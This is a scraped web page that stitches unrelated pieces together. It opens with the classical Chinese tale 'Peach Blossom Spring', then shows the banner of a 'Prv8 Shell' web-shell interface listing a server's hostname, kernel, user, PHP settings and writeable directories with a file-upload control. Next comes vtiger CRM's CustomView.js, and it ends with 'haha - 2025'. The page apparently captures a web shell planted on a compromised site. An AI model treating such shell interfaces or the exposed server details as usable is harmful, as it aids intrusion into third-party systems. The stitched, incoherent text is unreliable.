晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/akaindir/public_html/crm/layouts/v7/modules/CustomView/resources/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/akaindir/public_html/crm/layouts/v7/modules/CustomView/resources/CustomView.js
/*+***********************************************************************************
 * The contents of this file are subject to the vtiger CRM Public License Version 1.0
 * ("License"); You may not use this file except in compliance with the License
 * The Original Code is: vtiger CRM Open Source
 * The Initial Developer of the Original Code is vtiger.
 * Portions created by vtiger are Copyright (C) vtiger.
 * All Rights Reserved.
 *************************************************************************************/

jQuery.Class("Vtiger_CustomView_Js",{
},{
	contianer : false,

	advanceFilterInstance : false,

	columnListSelect2Element : false,

	columnSelectElement : false,

	reIntialize : function () {
		this.contianer = false;
		this.columnListSelect2Element = false;
		this.advanceFilterInstance = false;
		this.columnSelectElement = false;
	},

	getContainer : function() {
		if(this.container == false) {
			this.container = jQuery('#filterContainer');
		}
		return this.container
	},

	getColumnListSelect2Element : function() {
		if(this.columnListSelect2Element == false){
			this.columnListSelect2Element = jQuery('#s2id_viewColumnsSelect');
		}
		return this.columnListSelect2Element;
	},

	/**
	 * Function to get the view columns selection element
	 * @return : jQuery object of view columns selection element
	 */
	getColumnSelectElement : function() {
		if(this.columnSelectElement == false) {
			this.columnSelectElement = jQuery('#viewColumnsSelect');
		}
		return this.columnSelectElement;
	},

	/**
	 * Function to regiser the event to make the columns list sortable
	 */
	makeColumnListSortable : function() {
		var select2Element = this.getColumnListSelect2Element();
		//TODO : peform the selection operation in context this might break if you have multi select element in advance filter
		//The sorting is only available when Select2 is attached to a hidden input field.
		var chozenChoiceElement = select2Element.find('ul.select2-choices');
		chozenChoiceElement.sortable({
				'containment': chozenChoiceElement,
				start: function() { },
				update: function() {}
			});
	},

	/**
	 * Function which will arrange the chosen element choices in order
	 */
	arrangeSelectChoicesInOrder : function() {
		var contentsContainer = this.getContainer();
		var chosenElement = this.getColumnListSelect2Element();
		var choicesContainer = chosenElement.find('ul.select2-choices');
		var choicesList = choicesContainer.find('li.select2-search-choice');
		var columnListSelectElement = this.getColumnSelectElement();
		var selectedOptions = columnListSelectElement.find('option:selected');
		var selectedOrder = JSON.parse(jQuery('input[name="columnslist"]', contentsContainer).val());

		for(var index=selectedOrder.length ; index > 0 ; index--) {
			var selectedValue = selectedOrder[index-1];
			var value = selectedValue.replace("'", "'");
			var option = selectedOptions.filter('[value="'+value+'"]');
			choicesList.each(function(choiceListIndex,element){
				var liElement = jQuery(element);
				if(liElement.find('div').html() == option.html()){
					choicesContainer.prepend(liElement);
					return false;
				}
			});
		}
	},

	/**
	 * Function which will get the selected columns with order preserved
	 * @return : array of selected values in order
	 */
	getSelectedColumns : function() {
		var columnListSelectElement = this.getColumnSelectElement();
		var select2Element = this.getColumnListSelect2Element();

		var selectedValuesByOrder = new Array();
		var selectedOptions = columnListSelectElement.find('option:selected');

		var orderedSelect2Options = select2Element.find('li.select2-search-choice').find('div');
		orderedSelect2Options.each(function(index,element){
			var chosenOption = jQuery(element);
			selectedOptions.each(function(optionIndex, domOption){
				var option = jQuery(domOption);
				if(option.html() == chosenOption.html()) {
					selectedValuesByOrder.push(option.val());
					return false;
				}
			});
		});
		return selectedValuesByOrder;
	},

	doOperation : function (url) {
		var aDeferred = new jQuery.Deferred();
		app.helper.showProgress();
		app.request.get({'url':url}).then(function(error,data){
			app.helper.hideProgress();
			aDeferred.resolve(data);
		});

		return aDeferred.promise();
	}, 

	showCreateFilter : function(data){
		var self = this;
		self.reIntialize();
		app.helper.loadPageContentOverlay(data).then(function(data){
			data.find('.data').css('height','100%');
			var Options= {
			autoExpandScrollbar: true,
			scrollInertia: 200,
			autoHideScrollbar: true,

			mouseWheel: {
				enable: true,
				preventDefault: true,
				scrollAmount: 50
			}
		};
			app.helper.showVerticalScroll(jQuery('.customview-content '), Options);
			self.advanceFilterInstance = new Vtiger_AdvanceFilter_Js(data.find('.filterConditionsDiv'));
			self.registerFilterCreateEvents();
		});
	},

	saveFilter : function() {
		var aDeferred = jQuery.Deferred();
		var formElement = jQuery("#CustomView");
		var formData = formElement.serializeFormData();
        
		app.helper.showProgress();

		app.request.post({'data':formData}).then(
			function(error,data){
               if(error === null){
				app.helper.hideProgress();
				window.onbeforeunload = null;
				aDeferred.resolve(data);
				}
				else{
					app.helper.hideProgress();
					aDeferred.reject();
					app.helper.showErrorNotification({'message': app.vtranslate('JS_VIEW_ALREADY_EXISTS')});
				}
			}
		);
		return aDeferred.promise();
	},

	saveAndViewFilter : function(){
		this.saveFilter().then(function (response) {
			if (typeof response != "undefined") {
				app.helper.showSuccessNotification({'message':app.vtranslate('JS_LIST_SAVED')});
				var appName = app.getAppName();
				var url = response['listviewurl']+'&app='+appName;
				window.location.href = url;
			} else {
				app.helper.showErrorNotification({message: app.vtranslate('JS_FAILED_TO_SAVE')});
			}
		});
	},

	isAllUsersSelected : function() {
		var memberList = jQuery('#memberList').val();
		return (memberList != null && (memberList.indexOf('All::Users') != -1)) ? true : false
	},

	registerOnlyAllUsersInSharedList : function(){
		var self = this;
		jQuery('#memberList').on('change',function(e){
			var element = jQuery(e.currentTarget);
			if(self.isAllUsersSelected()){
				element.find('option').not('[value="All::Users"]').prop('disabled',true);
				element.select2('val',['All::Users']);
				element.select2('close');
			}else{
				element.find('option').removeProp('disabled');
			}
		});
	},

	/**
	 * Function which will register the select2 elements for columns selection
	 */
	registerSelect2ElementForColumnsSelection : function() {
		var selectElement = this.getColumnSelectElement();
		vtUtils.showSelect2ElementView(selectElement,{maximumSelectionSize: 15});
	},

	registerFilterCreateEvents : function() {
		var self = this;
		self.registerSelect2ElementForColumnsSelection();
		this.arrangeSelectChoicesInOrder();
		this.makeColumnListSortable();
		this.registerToogleShareList();
		this.registerOnlyAllUsersInSharedList();
		var customViewForm = jQuery('#CustomView');

		if(customViewForm.length > 0) {
			customViewForm.vtValidate({
				submitHandler : function(form){
					var form = jQuery(form); 
						  var selectElement = form.find('#viewColumnsSelect'); 
						  var mandatoryFieldsList = JSON.parse(jQuery('#mandatoryFieldsList').val()); 
						  var selectedOptions = selectElement.val(); 
						  var mandatoryFieldsMissing = true; 
						  for(var i=0; i<selectedOptions.length; i++) { 
						if(jQuery.inArray(selectedOptions[i], mandatoryFieldsList) >= 0) { 
							mandatoryFieldsMissing = false; 
								  break; 
						} 
					} 
						  if(mandatoryFieldsMissing){ 
						app.helper.showErrorNotification({message:"Select atleast one mandatory value."}); 
							  return false; 
					} 
					//handled advanced filters saved values.
					var advfilterlist = self.advanceFilterInstance.getValues();
					jQuery('#advfilterlist').val(JSON.stringify(advfilterlist));

					var selectValueElements = self.getColumnSelectElement().select2('data');
					var selectedValues = [];
					for(i=0; i<selectValueElements.length; i++) {
						selectedValues.push(selectValueElements[i].id);
					}
					var selectValues = JSON.stringify(selectedValues);
					jQuery('input[name="columnslist"]', self.getContainer()).val(selectValues);
					var allUsersStatusEle = jQuery('#allUsersStatusValue');
					if(self.isAllUsersSelected() && (jQuery('[data-toogle-members]').is(":checked"))){
						allUsersStatusEle.val(allUsersStatusEle.data('public'));
					}else{
						allUsersStatusEle.val(allUsersStatusEle.data('private'));
					}
					self.saveAndViewFilter();
					return false;
				}
			});
		}
	},

	registerToogleShareList : function() {
		jQuery('[data-toogle-members]').on('change',function(e){
			var element = jQuery(e.currentTarget);
			if(element.is(':checked')){
				jQuery('#memberList').addClass('fadeInx').data('rule-required',true);                
			}
			else {
				jQuery('#memberList').removeClass('fadeInx').data('rule-required',false);
			}
		});
	},

	registerEvents : function() {
		var self = this;
		jQuery(document).on('post.CreateFilter.click',function(e,params){
			self.doOperation(params.url).then(function(data){
				self.showCreateFilter(data);
				var form = jQuery('#CustomView');
				app.helper.registerLeavePageWithoutSubmit(form);
				app.helper.registerModalDismissWithoutSubmit(form);
			})
		});

		jQuery(document).on('post.DeleteFilter.click',function(e,params){
			var target = jQuery(e.target);
			app.helper.showConfirmationBox({'message': app.vtranslate('LBL_LIST_DELETE_CONFIRMATION')}).then(
				function(){
					app.helper.showProgress();
					app.request.post({'url':params.url}).then(function(){
						app.helper.hideProgress();
						target.trigger('post.DeletedFilter');
						// moduleFiltersId is Default All Filter Id
						var moduleFiltersId = jQuery('.module-filters input[name=allCvId]').val();
							jQuery(".listViewFilter ").find('.filterName').each(function(key, ele){
								var filterId = jQuery(ele).data('filter-id');
								if(filterId == moduleFiltersId){
									jQuery(ele).trigger('click');
									return false;
								}
							});
					});
				},
				function(){
				}
			);
		});

		jQuery(document).on('post.ToggleDefault.click',function(e,params){
			var target = jQuery(e.target);
			var url = target.data('url');
			var currentValue = target.data('isDefault');
			var params = {};
			params.url = url;
			params.data = {};
			if(currentValue) {
				params.data.setdefault = '0';
			}else{
				params.data.setdefault = '1';
			}
			app.request.post(params).then(function(error,data){
				target.trigger('post.ToggleDefault.saved',data);
			})
		});
	}
});

haha - 2025